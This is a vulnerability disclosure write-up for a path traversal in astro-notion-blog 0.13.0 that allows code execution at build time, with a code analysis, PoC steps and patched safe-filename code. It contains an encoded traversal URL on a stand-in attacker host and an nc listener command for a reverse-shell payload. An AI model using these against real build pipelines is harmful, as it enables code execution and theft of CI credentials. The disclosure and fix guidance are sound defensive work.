
Write-up and proof-of-concept for CVE-2026-117183, a path traversal in astro-notion-blog 0.13.0 that enables build-time RCE, with vulnerable code analysis and fix guidance.
Note: This vulnerability has been patched by the maintainer in PR #256 and released in version 0.13.1. If you are using an older version, please upgrade immediately.
astro-notion-blog v0.13.0 is vulnerable to a Path Traversal that leads to Remote Code Execution (RCE) during the build process. The downloadFile() function in src/lib/notion/client.ts takes the last segment of a remote image URL, runs it through decodeURIComponent(), and appends it to ./public/notion/. There is no validation to ensure the resulting path stays within that directory.
An attacker with edit access to the Notion database can set a FeaturedImage URL ending in %2e%2e%2f%2e%2e%2fsrc%2fpages%2findex.astro. This decodes to ../../src/pages/index.astro, overwriting a real page. Since the featured-image-downloader integration fetches every post's image at astro:build:start, the overwritten file (which is a page Astro compiles in the same build) runs the attacker's frontmatter code in Node. This results in command execution as the build user.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-117183 |
| Official Record | cve.org/CVERecord?id=CVE-2026-117183 |
| Affected Version | astro-notion-blog 0.6.1 to 0.13.0 (Tested: 0.13.0) |
| Fixed Version | 0.13.1 (via PR #256) |
| Vulnerability Type | CWE-22: Path Traversal -> CWE-94: Code Injection (RCE) |
| Attack Vector | Network |
| Privileges Required | Low (Requires edit access to the Notion database) |
| Affected Component | src/lib/notion/client.ts (downloadFile()), src/integrations/featured-image-downloader.ts |
| Original Report | otoyo/astro-notion-blog#255 |
src/lib/notion/client.tssrc/integrations/featured-image-downloader.tsThe root cause is in src/lib/notion/client.ts:478-486 (tag 0.13.0):
const dir = './public/notion/' + url.pathname.split('/').slice(-2)[0]
if (!fs.existsSync(dir)) {
fs.mkdirSync(dir, { recursive: true })
}
const filename = decodeURIComponent(url.pathname.split('/').slice(-1)[0])
const filepath = `${dir}/${filename}`
const writeStream = createWriteStream(filepath)
url.pathname keeps percent-encoding, so a / inside the last segment is still %2f. decodeURIComponent() turns it into a real separator, and filepath is just string concatenation. No path.basename, no path.resolve, and no check that the final path is still under public/notion.
The hook that feeds it is in src/integrations/featured-image-downloader.ts:7-25:
'astro:build:start': async () => {
const posts = await getAllPosts()
await Promise.all(
posts.map((post) => {
if (!post.FeaturedImage || !post.FeaturedImage.Url) {
return Promise.resolve()
}
let url!: URL
try {
url = new URL(post.FeaturedImage.Url)
} catch {
console.log('Invalid FeaturedImage URL: ', post.FeaturedImage?.Url)
return Promise.resolve()
}
return downloadFile(url)
})
)
},
A video of the full run and the exploit archive (f01-poc-exploit.zip) are attached to the original issue. The following steps outline the order of operations (exact values depend on your workspace):
?v=).git clone --branch 0.13.0 --depth 1 https://github.com/otoyo/astro-notion-blog.git target
cd target
npm ci
unzip f01-poc-exploit.zip -d f01-poc
cd f01-poc
chmod +x run-*.sh
./run-interactive.sh
nc -lvnp <port> listener if using the shell payload (the runner waits for it).For http://attacker.example/%2e%2e%2f%2e%2e%2fsrc%2fpages%2findex.astro:
pathname /%2e%2e%2f%2e%2e%2fsrc%2fpages%2findex.astro
split('/') ["", "%2e%2e%2f%2e%2e%2fsrc%2fpages%2findex.astro"]
slice(-2)[0] "" -> dir = "./public/notion/"
slice(-1)[0] "%2e%2e%2f%2e%2e%2fsrc%2fpages%2findex.astro"
decodeURIComponent(last segment) "../../src/pages/index.astro"
filepath "./public/notion//../../src/pages/index.astro"
resolved "<repo>/src/pages/index.astro"
The overwrite happens in astro:build:start, before Astro compiles the pages. The file that gets replaced is a page Astro is about to build. Anything in its frontmatter runs in Node during the build. The PoC payload is served as text/plain, so the image processing is skipped and the code executes.
Code execution as the user running astro build. On a dev machine, this is the developer's account. On CI, it is the runner, with whatever secrets the build has (Notion token, registry tokens, cloud credentials, etc.).
The attacker does not need the site's Notion token; they simply need edit access to the Notion database. The build host must be able to reach the attacker's URL.
The maintainer addressed the issue in PR #256 by throwing an error if the filename is not safe.
For those who want to implement their own defense-in-depth, the recommended approaches are:
1. Generate a safe filename (Recommended):
import { randomUUID } from 'node:crypto'
import path from 'node:path'
const baseDir = path.resolve('./public/notion')
fs.mkdirSync(baseDir, { recursive: true })
const ext = path.extname(decodeURIComponent(url.pathname)).slice(0, 10)
const filepath = path.join(baseDir, `${randomUUID()}${ext}`)
2. Normalize and confine the original name:
import path from 'node:path'
const baseDir = path.resolve('./public/notion')
const decoded = decodeURIComponent(url.pathname.split('/').pop() ?? '')
const safeName = path.basename(decoded)
if (
safeName !== decoded ||
safeName === '.' ||
safeName === '..' ||
safeName.includes('\0')
) {
throw new Error('Unsafe filename')
}
const filepath = path.resolve(baseDir, safeName)
if (!filepath.startsWith(baseDir + path.sep)) {
throw new Error('Path escapes public/notion')
}
Additional Mitigations:
http and https schemes.git status --short should not show changes under src/.| Date | Event |
|---|---|
| 2026-10-22 | Issue #255 reported to astro-notion-blog repository |
| 2026-10-30 | Official CVE record published on cve.org |
| 2026-11-03 | Fixed by maintainer in PR #256, released in v0.13.1 |